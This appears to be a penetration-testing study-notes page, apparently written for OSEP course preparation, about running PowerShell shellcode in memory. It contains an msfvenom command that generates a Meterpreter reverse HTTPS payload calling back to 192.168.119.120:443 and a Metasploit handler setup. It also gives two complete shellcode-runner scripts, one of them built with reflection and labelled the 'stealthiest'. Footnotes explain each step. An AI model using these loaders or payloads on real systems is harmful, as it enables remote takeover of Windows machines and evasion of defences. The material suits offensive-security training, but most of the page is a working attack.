> For the complete documentation index, see [llms.txt](https://osnotes.jackielam.net/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://osnotes.jackielam.net/osep/attack/client-side-code-execution/powershell-rev.ps1.md).

# Powershell rev.ps1

## Powershell In-memory Shellcode Runner

<pre data-title="shellcode to embed in .ps1:" data-overflow="wrap" data-full-width="true"><code><strong><a data-footnote-ref href="#user-content-fn-1">msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 EXITFUNC=thread -f ps1</a>
</strong></code></pre>

{% code title="listener:" %}

```bash
sudo msfconsole -q -x "use exploit/multi/handler"
set payload windows/meterpreter/reverse_https
set lhost 192.168.119.120
set lport 443
run
```

{% endcode %}

### Reflection Shellcode Runner without Add-Type[^2] (stealthiest)

<pre class="language-powershell" data-title="rev.ps1" data-overflow="wrap" data-line-numbers data-full-width="true"><code class="lang-powershell">function LookupFunc {

	Param ($moduleName, $functionName)

	$assem = ([AppDomain]::CurrentDomain.GetAssemblies() | 
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
      <a data-footnote-ref href="#user-content-fn-3">Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')</a>
    $tmp=@()
    <a data-footnote-ref href="#user-content-fn-4">$assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}</a>
	<a data-footnote-ref href="#user-content-fn-5">return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))</a>
}

function getDelegateType {

	Param (
		[Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
		[Parameter(Position = 1)] [Type] $delType = [Void]
	)

	$type = [AppDomain]::CurrentDomain.
    <a data-footnote-ref href="#user-content-fn-6">DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), </a>
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run).
      DefineDynamicModule('InMemoryModule', $false).
      DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', 
      [System.MulticastDelegate])

  $type.
    <a data-footnote-ref href="#user-content-fn-7">DefineConstructor</a>('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).
      SetImplementationFlags('Runtime, Managed')

  $type.
    <a data-footnote-ref href="#user-content-fn-8">DefineMethod</a>('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).
      SetImplementationFlags('Runtime, Managed')

	return $type.<a data-footnote-ref href="#user-content-fn-9">CreateType</a>()
}

<a data-footnote-ref href="#user-content-fn-10">$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)</a>

<a data-footnote-ref href="#user-content-fn-11">[Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0...</a>

<a data-footnote-ref href="#user-content-fn-12">[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)</a>

<a data-footnote-ref href="#user-content-fn-13">$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread), (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)</a>

<a data-footnote-ref href="#user-content-fn-14">[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject), (getDelegateType @([IntPtr], [Int32]) ([Int]))).Invoke($hThread, 0xFFFFFFFF)</a>
</code></pre>

### Directly Calling Win32 API with .NET (less stealth)

{% hint style="info" %}
`Add-Type` uses the .NET framework to compile the C# code containing Win32 API declarations; leaving temporary `.csc` file on disk
{% endhint %}

<pre class="language-vba" data-title="rev.ps1" data-overflow="wrap" data-line-numbers data-full-width="true"><code class="lang-vba">$Kernel32 = <a data-footnote-ref href="#user-content-fn-15">@"</a>
using System;
using System.Runtime.InteropServices;

public class Kernel32 {
    [DllImport("kernel32")]
    <a data-footnote-ref href="#user-content-fn-16">public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);</a>

    [DllImport("kernel32", CharSet=CharSet.Ansi)]
    <a data-footnote-ref href="#user-content-fn-17">public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);</a>

    [DllImport("kernel32.dll", SetLastError=true)]
    <a data-footnote-ref href="#user-content-fn-14">public static extern UInt32 WaitForSingleObject(IntPtr hHandle,</a> 
        UInt32 dwMilliseconds);
}
<a data-footnote-ref href="#user-content-fn-15">"@</a>
<a data-footnote-ref href="#user-content-fn-2">Add-Type</a> $Kernel32

<a data-footnote-ref href="#user-content-fn-11">[Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0,0x60...</a>
<strong>
</strong>$size = $buf.Length

<a data-footnote-ref href="#user-content-fn-16">[IntPtr]$addr = [Kernel32]::VirtualAlloc(0,$size,0x3000,0x40);</a>

<a data-footnote-ref href="#user-content-fn-18">[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $size)</a>

<a data-footnote-ref href="#user-content-fn-17">$thandle=[Kernel32]::CreateThread(0,0,$addr,0,0,0);</a>
[<a data-footnote-ref href="#user-content-fn-19">Kernel32]::WaitForSingleObject($thandle, [uint32]"0xFFFFFFFF")</a>
</code></pre>

[^1]: `[Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0,0x60,0x89…`

[^2]: `Add-Type` uses the .NET framework to compile the C# code containing Win32 API declarations; leaving temporary `.csc` file on disk

[^3]: Using `GetType` to obtain a reference to the `System.dll` assembly at runtime is an example of the Reflection technique.

    This is a very powerful feature that allows us to dynamically obtain references to objects that are otherwise private or internal.

[^4]: `GetMethods` for `GetProcAddress` bc there is multiple instances

[^5]: Use this technique once again with the `GetMethod` function to obtain a reference to the internal `GetModuleHandle` method&#x20;

[^6]: creates the custom assembly and defines the module and type inside of it

[^7]: sets up the constructor

[^8]: sets up the invoke method

[^9]: the constructor is invoked and the delegate type is returned to the callerthe constructor is invoked and the delegate type is returned to the caller

[^10]: resolving and calling VirtualAlloc through reflection (allocate memory)

[^11]: `msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 EXITFUNC=thread -f ps1`

[^12]: copy shellcode bytes to allocated memory using .NET Copy method instead of P/Invoke Win32 API

[^13]: resolving and calling CreateThread through reflection (execution)

[^14]: pause the script from ending and allow meterpreter to finish

[^15]: @" "@ to declare text block

[^16]: allocate memory

[^17]: execution

[^18]: copy shellcode bytes to allocated memory with .NET Copy method instead of P/Invoke Win32 API

[^19]: pause the script from ending and allow meterpreter finish
